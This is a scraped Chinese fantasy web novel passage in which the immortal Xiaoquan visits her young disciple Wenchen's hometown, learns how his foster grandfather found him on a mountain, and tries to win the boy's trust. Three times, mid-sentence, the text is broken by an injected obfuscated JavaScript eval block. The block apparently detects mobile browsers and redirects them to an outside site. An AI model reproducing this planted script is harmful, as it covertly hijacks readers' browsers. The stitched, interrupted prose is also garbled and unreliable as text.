姓闻名尘,锦官城人。根骨奇佳,资质奇强,性情良淡,善焉。今由昆仑逍遥仙君收为亲徒,归入青泽内宗教化修行,直至契殁。 “徒弟闻尘,拜见师尊。”闻尘撩开袍子,拱手跪下,结结实实磕了三个响头。 “起身罢。”潇泉轻咳,从匣子拿出红墨日环佩与闻尘的蓝墨月环佩重新相合,两块滴血结契的玉佩发出红蓝彩光,焕发出新的力量,如同新相识。 等最后送出入门剑,这场师徒礼总算结束。众人纷纷贺喜完便有序散场,白清鸣也以要事为由先行离去,堂内很快只余三人。 闻尘垂首立在原地没动,潇泉怔怔坐着也不动,洛昭昭实在看不下去这两块木头,悄悄凑过去道:“师姐,你不跟这小家伙说点什么?” 潇泉愁得很,“我该说什么?” 洛昭昭噎了一下,朝她挤眉弄眼,随后拉着闻尘往外走,“我们先出去。” 三人离开方正堂,潇泉在路上慢慢捋好思绪,“我规矩不严,只要修身养性、勤学苦练即可。你年纪尚小,先慢慢打牢基础,之后我再教你其他本事。” 她从腰间掏出两本书给他,“这两本你拿去随便看,不要给自己太大压力。” 闻尘愣愣看着手上两本书,“……是,师尊。” 这声敬称叫得有点拧巴,潇泉没有在意,摆手让他回去了。 洛昭昭:“师姐,你怎么把木雕本给人家了?” “嘶……我随手拿的。”潇泉预感不妙,“另一本是什么?” 洛昭昭眼神同情,“民俗美食集。” 潇泉:“……” 洛昭昭安慰道:“没事,反正是给他打发时间的。等过几日稳定下来,师姐再拿基本功给他。” 潇泉只能先这样了,因为按收徒流程,她还要去一趟锦官城,将喜讯与贺礼道于闻尘父母,以表青泽收徒的诚心,暂时无暇管教闻尘。 她琢磨着礼帖,总觉上面少了什么,但想又想不起来,于是无奈作罢。 潇泉找来写帖之人,打听好闻尘父母的所在之地,明日一早带着贺礼出发了。 锦官城离青泽稍远,潇泉御剑飞行两天两夜成功抵达。乘剑劳顿,她先去客栈整顿休息,再去街上打听到一处名为石头巷的地方,问了一圈,竟没一户姓闻的人家。 此姓氏确实罕见,但总不能凭空冒出一个闻姓孩子,又不是石头变的。 潇泉感觉乏累,去街上买了碗馄饨坐在摊边吃,一口一个吃着总感觉不太安逸,老感觉有眼睛盯着自己。她忍不住停嘴张望,恰好与蹲在墙角的一位老奶奶对上目光。老奶奶衣着朴素,挑着卖菜担子,眼神迫切,似有话要说。 潇泉喊道:“老板,再来一碗。” 锅里正好煮完了一碗量的馄饨,老板很快端了上来。潇泉把这碗递到老奶奶面前,问她要不要。老奶奶眼里根本没有馄饨,目不转睛看着潇泉。潇泉有些尴尬,也觉奇怪她为何这般。 老奶奶和蔼道:“你是昆仑仙君?来这儿作甚?” 她心口直快,潇泉答得也直接,说是来找徒弟亲人。老奶奶又问她徒弟姓甚名谁,潇泉将姓名来历说与她听,老奶奶咧嘴笑道:“你说的这孩子,我认得。” 潇泉再三与老人家确定清楚,略有激动道:“老人家您可知道闻尘爹娘住在何处?我想请您带带路,之后必有重谢。” 老奶奶:“不必重谢。我能带路,只是腿脚有些不便,可能会给仙君添麻烦。” “不麻烦。”潇泉去找馄饨店的老板说了点什么,过来将担子挑到老板的店面旁边放下,然后在老奶奶面前弯下腰,“没事老人家,您只要指路就行,我背着您去。” 她态度坚决,老人推脱不得,小心攀上她背,“丫头,你找错人家了,不是姓闻,而是姓陈。老陈家不在石头巷,是在永安街。” 潇泉:“原来如此,那便有劳奶奶带路了。” 有当地人带路,潇泉找人方便许多。她背着老奶奶走进永安街的一条狭窄巷道,来到一间破旧的土茅屋门前。房屋陈旧老破,但是干净无尘,应是有人清扫过了。 老奶奶:“你先放我下来。” 潇泉屈膝把她安稳放下,过去敲了敲门。周围一片宁静,根本没听到任何声音,更别提有人来开门了。 后方的老奶奶缓缓开口道:“仙君,老陈已经去世多年了。” 潇泉顿住敲门的手,回头看她,“敢问老人家去世几年了?是闻尘的谁?” 老奶奶:“去世有五年。是闻尘的养爷爷。” 怪不得那张礼帖看着像少了什么,原是没有添上家人。 潇泉:“按理来说,家中独子未成人者,该由知情者知会公堂以求护养,或是由其他有亲缘关系者抚养。有没有继养他的人家?” 老奶奶神情微顿,“有。” 她们走出巷子,顺着长长高墙来到另一头较为宽敞的巷道,前行数十步,找到一户紧闭门扉的人家。 潇泉粗略扫视一圈,上前敲门。门很快被拉开一条小缝,有双小眼贴在门缝之间,“谁啊你,乱敲门是不是?” 潇泉心平气和道:“我来打听件事,把你爹娘请来。” 男孩:“你说请就请?你谁啊你,别来打扰我们,一边儿去!” 潇泉不打算废话,在门口等了会儿,又见男孩探出头来,“你是谁?来找谁?” 潇泉:“一介修仙人士,替闻尘来报喜的。” 男孩笑道:“你是修仙的?看着不像啊,还来找闻尘?闻尘除了会打架还会什么,他把老子的陶罐摔得一干二净,没打死他就不错了,就这怂样还认识修仙的?说出去让人笑掉大牙!你不是替他来的么,不如就拿点钱来赔偿好了,我既往不咎!” 潇泉面带微笑,眼中却并无笑意,“你该庆幸这是在你家,而不是青泽山。到了我的地盘,你可就没那么好过了。小兔崽子。” “青泽山?就那鸟不拉屎的地方,谁稀罕……”男孩越说越没有底气,只觉门外女子眼神冷飕飕的,似要真的动手。 娘说过,貌美动人的女子不是温柔水就是食人花,而眼前女子怎么看都不像任人欺负的第一种,倒像极第二种,要是他再说下去,怕是小命不保! 这时,男孩呜哇大叫起来,潇泉以为是自己吓到了他,不料他是被一只手给狠狠提了起来,这才惊慌大喊。 “兔崽子你嚣张什么呢?等会儿老娘再好好收拾你!”一名清瘦妇人推门而出,笑露皓齿,“您是青泽山的逍遥仙君吧?实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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潇泉随她到闻尘房间转了一转,没找见任何能带走的物件,因为太过“家徒四壁”,只有铺得整整齐齐的矮榻还能一看。 潇泉轻蹙眉头,在床边摸摸索索,在枕头底下摸到一个没有刀刃的匕首柄头。她拿起来端详上面细长又模糊的纹路,然后揣在怀里,“大娘,我在门口听你儿子说,闻尘发气打碎了他的陶罐,真有此事?” 妇人面色微赧,“闻尘确实打破了他的陶罐,但是碍于小孩之间的打闹,我们没有过多在意……我儿脾性顽劣暴躁,但也是把闻尘看作哥哥的,我们更是把闻尘视为己出。” 潇泉莞尔,“但愿吧。” 妇人:“仙君,您这话……什么意思?” 潇泉摆手,“随口说的,别介意。” 喜事说了,贺礼给了,潇泉回到正堂准备和老奶奶离开。 妇人:“仙君不再坐坐了?” 潇泉:“本君有要事在身,不便多留。多谢您的招待。” 与妇人简单拜别,潇泉扶着老奶奶回到原来的土茅屋门前。老奶奶望着潇泉,问出一直萦绕在心头的问题,“仙君,剩余的贺礼……” “我分贺礼给那户人家,是看他们多少有点养育之恩。”潇泉走向矮矮的院墙,轻松攀上,“最重要的贺礼,我打算留在这里。”她站在墙头,直言不讳,“我不想把福气分给无缘之人。他们早早送子出家,八成是嫌花钱不想养了,送到青泽博取最后一份好处来补偿自己。” 妇人十句有九句在撒谎,潇泉自不会轻信。她孩子对闻尘的态度尚且恶劣,她又会好到哪里去?要是长辈真的公平,孩子之间还会有这么光明正大的欺凌?还有,闻尘的寝室如同被遗弃的杂物间,散发着淡淡霉味,想来是闻尘不常住那儿,常在原来的土茅屋里睡,以致于他们没有重视清扫,放任荒废。 潇泉跳进院子开了门,扶着老奶奶进去,“看奶奶您的样子貌似和他关系不错?是看着他长大的吗?” 老奶奶笑着点头,“是啊,有好几年了……这次百试大会我也关注了。听一个认识的晚辈说,闻尘本是没有拜师机会的,是华烨真人破例让他比试,这才名正言顺拜入了青泽。” 她受着潇泉搀扶坐下,“我偶尔会来这儿。有时卖菜卖得太晚,我家偏远,闻尘就会请我进屋借宿一晚,明早又帮我挑担子去街上帮忙卖菜。” 老奶奶语气尽在心疼闻尘的懂事,“要说就说这个陈老汉,他也个可怜人,不可听不可语,打了一辈子光棍……闻尘啊,是他从山上抱回来的。” 潇泉手指摩挲着匕首柄头,面色认真,“愿闻其详。” 12. 相见欢(三) 有个聋哑男人没有名字,大家都叫他陈老汉。 老奶奶:“他年纪比我小,因为天生缺陷娶不到媳妇儿,有说媒介绍过一个痴呆媳妇儿,但他想着自己行动不便、家贫困苦,便百般推辞不肯娶,以免到头来委屈了娘俩。他养了一条狗,人狗相依为命,上山捡柴经常带着,偶尔不带。” 上山次数越多,缘分便越玄妙。 那天陈老汉上山捡柴,捡到一半,一声震天动地的虎啸划破天际。他觉察不妙,打着盲棍赶紧下山。可在下山途中,他又听见时断时续的婴啼,停步倾听片刻,发现婴孩啼哭伴随着虎啸,吓得不敢动了。 潇泉愣住,“他不是……” 老奶奶激动道:“就是奇怪!一个聋子怎会听到虎啸和婴啼哭呢?陈老汉终于发现不对,静下来听了好久,没再听见威猛撼人的虎啸,反倒是婴啼断断续续模糊不清……那座野山没什么人家,也没什么鬼怪之说。可不信归不信,有的东西还是得敬而远之。陈老汉不想趟浑水,坚持要走出大山,谁知累死累活都走不出去,无奈之下,只好在附近打转寻出口。 “后来虎啸又一回响,不再威猛撼人,而是沙哑低沉可怜呜呜的。陈老汉甚奇,努力细听,虎啸却突然消失没了,婴啼还在继续。” 陈老汉漆黑的世界宛若有光明指引,鬼使神差地穿过一丛丛杂草,来到一处泥土松软之地。 婴啼越来越近,几乎近在咫尺。他屏住呼吸慢慢往前,摸到一株约莫有三人合抱之大的老树。在树下,他触碰到一片柔软衣物,往里探是一张温凉肥软的小脸蛋。奇怪的是,婴孩脸上没有泪水,只有小手在不断挥动。 这只小手紧紧握住他的手指,怎么挣都挣不开。 老奶奶:“陈老汉把孩子抱回来那天,用手跟我比划了很多,说孩子的手很小很小,让人狠不下心。” 此外,陈老汉在婴孩脖颈处摸到一块硬物,觉得是亲生父母留下来的,故而请她帮忙来看。 老奶奶继续回忆,“那好像一块浑然天成的玉石,上面刻着‘闻尘’二字,用细细铁链串戴在闻尘脖子上,怎么摘都摘不下来。后来我们发现闻尘有时睡觉会含着它睡,没打算摘了。等他长到两岁,慢慢改掉了这个习惯。不知是不是时间蹉跎,有天玉石项链从闻尘身上掉落,串不起来了。陈老汉觉得可惜,把这块玉石缝进一个三角红布包里,作为闻尘的护身符。” 潇泉:“那玉石可还在?” 老奶奶轻叹,“被卖掉了。” “谁?” “闻尘自己。” 似是前因后果变化太大,老奶奶怕潇泉想太多,解释道:“陈老汉恶病缠身,最严重那年只能缠绵床榻度日……虽然加上我的一点菜钱勉强能糊口,可病钱就是另外一回事了。他家里最值钱的是那块玉,闻尘偷偷跑进城里当掉,回来给陈老汉续了两年命,之后家里……只剩他了。” 潇泉不是没有见过命苦之人,但这么近距离接触还是第一次,而且故事主人公现与她关系密切。 潇泉心里五味杂陈,“奶奶可还记得当玉石的铺子叫什么?” 老奶奶:“众生当。” 问此的缘由,两人都默契不谈。 等到天色渐渐暗淡,潇泉和老奶奶去街上买了点东西,在山间田地找到一个长满杂草的老土堆,把东西一一供上。来前潇泉早有准备,把道贺礼帖用特殊笔墨誊抄在黄纸上,一并随着纸钱烧得一干二净。 老奶奶看天色已晚,请她到家中歇息。潇泉刚巧还有事问,没有拒绝,来到她家吃了东西,夜幕降临后,简单洗漱好,趴在床头和她聊起天来。 “奶奶,我问您件事儿。”潇泉神情认真,“闻尘是不是被逼上山比试的?” 老奶奶一时愣住,没想到她说实话毫不遮遮掩掩,“仙君……知道?” 潇泉:“倒也不能这么说,我只是感觉如此。” 老奶奶欲言又止,但还是道:“闻尘确实不曾想过上山拜师,只想学点功夫守着老房子和他爷爷,过着我们这种平平无奇的日子……” 潇泉:“是养父母不肯出钱教养,而他年纪又小,不得已才上山比试的?” 老奶奶叹气,“是,但也不是。云泥街有一个屠夫,年轻时闯荡过江湖,后来娶妻生子不便独身,在锦官城开了一家猪肉铺安定生活。他经常会教闻尘用刀使剑,闻尘那一身硬朗的骨头和武功都是他教出来的。” 难怪……潇泉逐一点破,“所以,是屠夫将推闻尘上山的?” 老奶奶点头,“老杨也曾拜过师门,后来为了云游天下与师门辞别,一别就是十年。等他回到师门探望,师兄却说师父已在前年仙逝……他心有遗憾,更悔自己当年年少气盛,不顾现实。看闻尘根骨不错,他想着不如把人推到昆仑试上一试,说不定可以认个好师父。” 潇泉淡笑,“恐怕替他弥补遗憾是假,想让闻尘放下过去才是真。” 自愿困于一小方天地不走,终归不是一个少年该有的样子。一辈子有那么多个日夜,总会在某日辰时某天黄昏想通不通之事,只是早晚。潇泉以为,人要学会趁早接受新事物,这样才能更好地往前看。 老奶奶从来看破不说破,谁知这位女君言语坦荡,将她一直以来不敢言明道出的心事剖露而出,不由心生钦佩与好感。只惜天色已晚,她不好多加叨扰,道声安寝便离开了。 次日清早,潇泉在陈旧的方桌上留下鼓囊囊的布包和一封信,去云泥街寻到那家猪肉铺,在店铺门口结下金光法印,然后退开一步静望几眼,离开了小镇。 沿途路上,潇泉遇到赶来接她回山的洛昭昭,把这一趟的所见所闻尽数讲来,着重话于陈老汉在山中捡婴一事。 洛昭昭:“一个聋哑人在荒郊野岭的山上听到孩子哭?这也太渗人了些……师姐,你在哪儿听的故事?” 潇泉:“你知道山神吗?” 洛昭昭:“山神?是书上说的那个?” 潇泉:“对。山能聚邪,亦能聚灵。一个聋哑人在山里仅靠一条狗就能保佑平安,这不大可能。山深林子大,什么东西都有,耳聋的陈老汉不但能随意进出,还能听到虎啸婴啼,这很不对劲。虎乃山王,区区凡体,沦为其食不过眨眼间工夫,陈老汉却能安然无恙,还循着婴啼捡到了孩子……只要虎啸消失,婴啼就会出现。依我看,这虎啸和婴啼是同一物。” 洛昭昭懂了,“师姐您是想说,是山神先发出虎啸赶陈老汉下山,等靠近目的地,再学装婴啼吸引他去捡婴儿?” “也只有这一个可能了。” “为什么山神不自己下山把孩子送到人家里?” “山神擅自离山,易使山内动荡不安,何况它靠山中天地灵气存活,太过远离聚生自己的山水,生命会消耗得很快。” 说是神仙,实则只是一个修为高深的山中精灵,靠着某方山水灵气生存,同时万般变化为黑熊白虎、青鸟飞鱼之类。真正的山神早已不复存在。 为何荒无人烟的大山会出现一个衔玉的婴孩?这着实难倒了潇泉,尤其还发生了非正常事。 思量当中,洛昭昭过来碰了碰她,“师姐,那你给那家猪肉铺结了什么法印?” 潇泉抽回思绪,手指在空中不紧不慢比划——平安喜乐,万事兴和。 看清这四字,洛昭昭竖起拇指,“这个好。” 潇泉嘴角轻扯,又道:“昭昭,你帮我个忙,去最近的城里打听有没有叫众生当的当铺,帮我找一块玉石,上面刻有两字的。找到了你知会我声,我亲自去看。” 洛昭昭:“好,回去后我马上去办,正好闲得没事。” 回到青泽,潇泉来到云霄殿附近一间房屋面前,看见房门留着一条缝隙。她没听到里面有人在的声音,正想帮忙关上,岂料门缝倏然被人合上,恰好夹住她的手指。 潇泉“嘶”一声道:“有人。是我。” 小家伙劲儿还挺大,怪痛人的。 空气突然安静,房门重新拉开一条细缝,背后冒出一颗毛茸茸的脑袋。闻尘眼有错愕,见她表情痛得厉害,敞开房门靠边让步,微微低头沉默不语。 潇泉知道他非故意,没有计较,进门靠桌坐下,用想好的话打破屋中寂静,“来这儿可还习惯?” 闻尘只垂首作揖,没有答话。 潇泉瞧他似是怕生,没有强求,将心事暂时压在心里。见其好像在忙,她缓和气氛道:“你先忙你的,我待会儿跟你说。” 果然,闻尘转身不知倒腾什么去了。潇泉没有关心,注意力转移在清雅舒适的屋内,心想比那间几近荒废的寝室实在好上太多,这下应该能过舒坦日子了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059101|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 旁边方桌放着一对指甲大的耳环,模样干净光亮,应是才清洗过,潇泉小心翼翼举到眼前端详。 不是银子做的,是极为普通的铁丝。 有什么寓意吗?潇泉不认为闻尘会注重装扮外貌,但这对耳环却被保养得很好。 当初她曾艳羡过街上那些耳垂丽珰的彩衣姑娘,但一想到耳洞是以尖锐之物戳穿,默默打消了戴耳环的念头。 戳耳洞应该很痛吧? “别碰。”闻尘突然出声。 “哦,好。”潇泉将耳环放回原处,双手自然放回腿上,放松肢体,端正坐姿,露出一个很有长辈味道的笑,但颊上酒窝过于明显,没啥作用。 看他拿着一个发黄的小瓷罐过来,潇泉不明所以,寻思他想作甚。 只见少年垂眼低头,捏住她衣袖将手抬到桌上,再打开瓷罐挖出药膏一点一点涂在她被门夹红的伤口上。 缓解疼痛的药膏味道陌生,潇泉看了一眼,“师兄师姐没给你拿药备用?” 闻尘:“给了,我习惯用自己的。” 潇泉:“以前你是不是经常受伤?” 闻尘已听不回,甚至表现有点抗拒。 潇泉忍不住道:“你我已是师徒关系,是天地共证、行过礼的,你的身心状况我有权力知晓。你瞒我是为不敬,我问你是为负责。你知道我为什么这样说吗?” 闻尘抹好伤口,状态明显在听,但就是不愿开口。 潇泉继道:“因为以后这几年我们都会生活在一起,你逃避不了,也不能逃。如若抗拒,便是忤逆师徒礼制。除非,你有本事让我写书到昆仑请令斩断我们之间的师徒关系。这样一来,你能恢复自由,我也落得清静自在。” 闻尘抬眼看她,过分地冷静。 潇泉知道他在等自己接着说下去,也顺了他意,一字一句道:“可惜,我不会那么做。我们已向天地行过拜礼,不论契约誓言,都得作数。” 闻尘脸色一白,握紧双拳不肯再多看她两眼,愤愤又委屈地扭过头去。 潇泉看在眼里,心有动容,但理智还是战胜了情感,“我这样做只是想让你明白过去和现在究竟谁轻谁重……可以短暂思念,但不能永远困在过去,不然对不起过去的人,也对不起现在的你。” 闻尘低头听着,挣扎面色逐显悲怅。 潇泉心中沉沉一叹,又述清探望过程,包括养父母与送礼一事。闻尘自始至终一动不动,直到她说到某处突然大作一通,还没等潇泉反应便冲了出去。 潇泉料到他会有反应,但未料反应如此之大,反应过来赶紧追出去寻。为避免引起不必要的恐慌,她把附近能找的地方全找了,但还是不见人。 “师姐,你这是下不成山,把师门当闹街逛了?”洛昭昭的话音自身后传来。 潇泉无心理会打趣,郁闷道:“昭昭,我问你一个问题。” 洛昭昭正色,“师姐你问。” “如果一个小孩不愿听某个大人的话,大人用了各种理由手段想说服小孩,以此来消解两人的隔阂,但小孩却突然爆发情绪不见了人,是大人的问题吗?” “这大人和小孩是什么关系?” 潇泉:“不熟,但关系很亲。” 洛昭昭一副“我早已洞穿”的表情,想说什么却又止声打住,和潇泉两眼沉默相看须臾,轻轻叹气,“师姐,你跟小师弟说什么了?他反应这么大。” 潇泉将过程一五一十道来,洛昭昭听完难忍苦笑,“师姐,你不是最懂如何与小孩打交道的吗?怎么这回失手了。” 潇泉:“打交道归打交道,教养却归教养,不但要养还要教,岂是说两句逗话就能糊弄过去的?等你到我这个年纪,你就会明白,自家小孩是最难带的。” 潇泉常与孩童接触,对他们的行为举止算是了如指掌,也清楚孤僻坚韧又懂事的孩子其实最难教养。 教其忠而不训,情至深而不溺,待到天长地久,方能顺其自然。这不是一般人能做到的,纵使潇泉再了解孩童心性,也不敢说自己完全能教化这类小孩。偏偏师父给她捡的就是这块宝,她受不起也得受。 来不及冥思苦想,潇泉即刻到半山腰启用千里眼,在下山途中看见一个还没穿外袍的瘦小人影,赶紧回房拿上一件保暖衣物追过去了。 13. 相见欢(四) 少年走走停停,头脑不算清醒,经过狂奔的身体此刻气喘吁吁,湿透的后背被山风吹得渐染凉意。 不知过了多久,他听见有步声靠近,转头瞥见一道残影。还未看清,身体被一片暖意包裹,有人将柔软厚实的狐裘套在了他身上。 潇泉本想严肃叮嘱不可擅自下山,见他发红的眼睛挂着几滴水珠,不由心软住嘴,替他裹紧狐裘,准备带人往回走。闻尘不愿,后撤立即退开,连着狐裘也要一同摘下。 这一次潇泉没管他愿不愿意,过去把人和狐裘紧紧拢在怀里打算强制带回。闻尘挣脱不得,张嘴咬住她胸前长发扯着。潇泉低头一看,也顾不上长辈面子尊老爱幼,咬回头发跟他大眼瞪小眼,“男子汉大丈夫有什么事不能直说?非得乱跑叫我担心?你要是真想回去看两眼,就听我的。还是说,你觉得你这双腿可以走完十天半个月的路程?” 许是因为潇泉语气比寻常严肃,少年认命般放弃挣扎,脑袋埋进狐裘领口,肩膀不止抖耸,显然在哭。潇泉无可奈何,用狐裘他裹得更紧,“我知道你因为什么下山,但我还是要告诉你,昔往故人已去,捉急焦心不但会给自己带来麻烦,还会给担心你的人平添困扰。这天上地下都有人在乎你,就算你不为自己着想,也要为担忧你的人着想。” 似想到什么,潇泉把少年放在石阶上乖乖坐着,蹲下来一脸郑重道:“人的一辈子说长不长,说短不短,很多事情可以选择逃避,唯独离别不行。我们所有人都会经历……我还是那句话,可以短暂思念,但不能止步不前。” 潇泉知道这对一个未满十岁的孩子来说有点难以理解,但她只能这样说辞,别无他法。 少年含着眼泪努力平复情绪,潇泉见状再道:“我第一次当师父,你也是第一次做徒弟。咱俩各退一步,谁也不跟谁犟,好吗?” 见对方陷入犹豫中,她几欲无奈,“如果实在想去,你先等我两天。两天过后,我一定带你去。” 少年软摊摊坐着,迷迷糊糊点头。潇泉托住他下巴拭去两颊眼泪,站起身来,望着他乌黑头顶,把人拢在怀里抱回山上。 她把偷逃下山的少年安顿到自己宫殿榻上,打来热水沾湿毛巾给他去寒,里里外外忙活半个时辰,总算把人弄醒了。 闻尘怔怔坐起,吸了两口气,反应过来这不是自己房间,掀开被褥就要下来,潇泉出声拦住,“不用管是谁的床,我叫你睡你就睡。” 她话语坚定,闻尘猫在被褥后面,默默躺了回去。 外间响起敲门声,洛昭昭道:“师姐你回来了?我有事找你。” 潇泉过去只把门开一条缝,“什么事?” 洛昭昭:“你说的那家当铺已在两年前拆迁,我托人找到当年的伙计问了一下,说确实收了一块特别的玉石,上面刻的两字好像与你徒弟同姓同名。好巧不巧,这块玉石在拆店前离奇失踪,找了许久都没找到。” 结果在潇泉意料之中,她回头看了一眼闻尘所在的房间,应道:“好,我知道了。” 洛昭昭点头,踮起脚尖往殿内望,“师姐,里面躺着的可是小师弟?”她悄悄凑近,“你在哪儿找到他的?” 潇泉嘘声不言,摆手让她先行离开。洛昭昭晓得她忙,识趣溜了。 屋内,少年比刚才冷静许多,隔着屏风没有发出太多声响。先前的摩擦两人都默契不提,也不去追究没有意义的原由。 潇泉翻看书面走神又回神,寻思半日,觉得还是该打破这份尴尬安宁,“你想回家看看,可以挑这几天去,我陪你。” 闻尘:“我想一人去。” 室内安静须臾,潇泉从抽屉取出一块木牌,“门规规定新弟子不得擅自下山,你拿着令牌去请示宗主,她会准允。” 闻尘受寒不重,在床上歇息半日,拿着令牌回去了。 次日,潇泉听山下守门门生说,那时天微微亮,闻尘背着行囊飞快下山,像赶着什么似的。她震撼少年行动如此之快,嘴上不说想念,身体却很诚实。 解决完闻尘探亲一事,潇泉这边便陷入另一重困境,大清早被传去紫云殿。她吃完早膳一进门,自觉找到蒲团跪下,对前方不远处的瘦长背影道:“师父,徒儿知错了。” 白清鸣倚在椅上,捧着一本古籍默读,不予回声。 潇泉膝盖挪挪挪,挪到白清鸣椅子旁,两爪搭着扶手,“师父你听我解释。我让闻尘一个人下山是无奈答应他的,他想一个人回家静静,我不好打扰。我知道放他一人下山有些不妥……” 青泽门规规定入门子弟未待满三个月,不得擅自离开师门,防止有人骗取青泽重要信物,逃之夭夭。兴许这在外人看来有点离谱,但每一条规矩背后都是教训,没人敢忤逆,皆是诚心遵守。 白清鸣行至窗前,“你也知道?” 潇泉:“我知道啊,这很不妥,所以我早起就是想当个尾巴。谁知师父命令更快,我这才半途返来。” 殿内一片沉寂,白清鸣忽道:“整个青泽,只有你是我的亲传弟子。整个昆仑,只有闻尘是你座下徒弟。” 潇泉蓦地噤声。 师父话中之意是,对待自己独一脉的徒弟,不要再像以往粗心马虎,需好生栽培教养。 白清鸣:“对于徒弟,最重要的就是耐心,不可弃,亦不可留。” 她时常说深奥的话,潇泉总是得细细琢磨,反复品味。 然这次白清鸣没有过多强调,往下说道:“在徒弟面前不要再耍小孩心性,该什么样就什么样,不能逾矩。你在我们这辈是晚辈,但在徒弟面前是长辈,得有长辈的样子,难不成你还想养一个伺候你吃喝玩乐的小跟班?说出去不嫌丢人?” 潇泉真没动过养小跟班的心思,但这么一听,好像确实不错。 白清鸣:“你还笑?” 潇泉连忙摆手,“没没没师父,我会当好这个师尊的,一定不负您所望。闻尘孺子可教,将来必能光耀青泽山门。我看出来了。” 白清鸣:“用得着你看出来?你以为我会收个废物给你?” 潇泉哈哈两声,讨好的话一刻不停,成功又从紫云殿滚了出来。怕闻尘半路出现三长两短,她赶紧收拾好东西匆匆下山追人。 闻尘租马赶路到锦官城,先给爷爷上坟,第一晚情不自禁靠在墓碑上沉沉睡去。翌日醒来,他感觉身体温暖得像刚从被窝出来,不曾感觉凉意,莫名神奇。 回家路上,闻尘在街上碰到老奶奶,帮她卖菜到天黑。 老奶奶同他说了很多,最后握住他手,“小尘,我碰见你师父了。” 闻尘观察到她明亮眼神,乖巧道:“嗯,她和我说了。” 老奶奶激动道:“小尘,我看见她时我还不敢相信,直到她走到跟前问我要不要一碗馄饨……你知不知道,许多年前她路过这里,见过你爷爷,还抱过你。那时你还是咿咿呀呀的婴儿,不哭也不闹,她拿了一个木核手串给你玩,结果你一扯就断。看你力气大,她又找来一个小铁锹给你拿着,抱你去田里挖呀挖,挖到一条蛇。她被咬得哇哇大叫,差点把你扔地上,后来她把你绑到背上,被迫跟着你爷爷去看郎中。郎中说伤口无毒,开了一点药…… “我说这天底下怎么会有这般有趣的姑娘,一问来历,竟是修行中人,我说难怪。昨儿她来城里,我一眼认出。可惜,她好像忘了自己曾经来过这条巷子,也不记得曾经见过我。” 闻尘的心陡然一提,哑然失声。 老奶奶满足笑道:“山上的仙人见过太多太多,遗忘也很正常。小尘,既然你们有缘,不如好好珍惜。” 街道行人来来往往,闻尘恍惚看见什么,始终不语。 他把奶奶平安送回家,自己回家睡到天蒙蒙亮,起床烧柴做饭,摆在桌上晾了一会儿开吃。 去百试大会前他扫过家里,这会儿积留的灰尘不多,没多久便打理好,收拾好东西回青泽了。 刚入门不急于学艺,潇泉将一本入门必修册给闻尘让他这两天好好琢磨,空闲时多出来走走熟悉青泽。 闻尘低头敛眉,点头应了。 每日透过窗户看徒弟晨读练字的潇泉很是欣慰,没几天有同龄仙君登门拜访,她暂时放下督促,转去招揽客人。 来的两人,有一位是潇泉登仙前认识的仙友,另一位是登仙后在昆仑结识的仙友。 宗门师兄姓何名遥,是玄武洞门主得意弟子,为人幽默风趣,看起来桃花缘广实际一根筋的家伙,潇泉和他认识完全是意外。 这就不得不提到仙门世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059102|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家之间的缘分了。论地位实力,仙门共有三大仙门世家,分别是朱雀门、玄武洞和青泽山。前两者以氏族起家,以延续家族兴旺为主,不同于散修青泽,什么都招,鬼才济济。 潇泉不大了解玄武洞门生,只知玄武洞门主比她师父还古板死脑筋,看不得得意门生和不入流弟子来往。 何遥不吃他老人家那套,一面正经完成任务,一面出去快活潇洒,在酒馆和潇泉不打不相识。 当时两人以为对方要抢劫,二话不说抽刀对。何遥看她是个姑娘不忍下重手,没想到被打得节节败退,后来拼尽全力窝囊退场。要不是喊了她名字,何遥简直不敢想自己接下来会遭什么罪,亏得自己机灵,在脱离魔爪的过程使劲磨。 虽狼狈,但有用。 一澄清:“好姐姐,你真的搞错了,我没有想打劫,我只是想拿瓶酒喝!” 二求饶:“不是,他们也没说你这么能打啊。潇大美人,看在你我同是修行中人的份上,放过我好不好?” 三拉拢:“哎,这店有壶美酒叫女儿河,贵但好喝,你要是想喝,直接记我何遥账上。” “当真?” “那当然!我何遥从不食言!” 两人成为无话不谈的酒友,后来潇泉得知确实是误会,把酒请了回来赔罪。 到青泽坐客,何遥高兴不得了,“欸你徒弟呢?叫来一起坐啊,我正好闲着一身本领没地方教呢,让他学学。” 潇泉给他倒酒,又给另外一位女君倒茶,“得了,你以为人人都像你那样见谁就招揽的?你当揽客呢?他不会听生人话的,你不用想了。” 女君笑道:“潇泉,你什么时候有空?我一直想带你去四海八荒走一走。” 出远门的事潇泉不好一口答应,尤其现下她肩负众多,只能暂时婉拒,“不好意思小雪,可能得改年了。” 徐周雪微笑,“无碍。理解。” 何遥扭头,“徐周雪,你姓名是不是父姓加母姓,然后再加的‘雪’?” 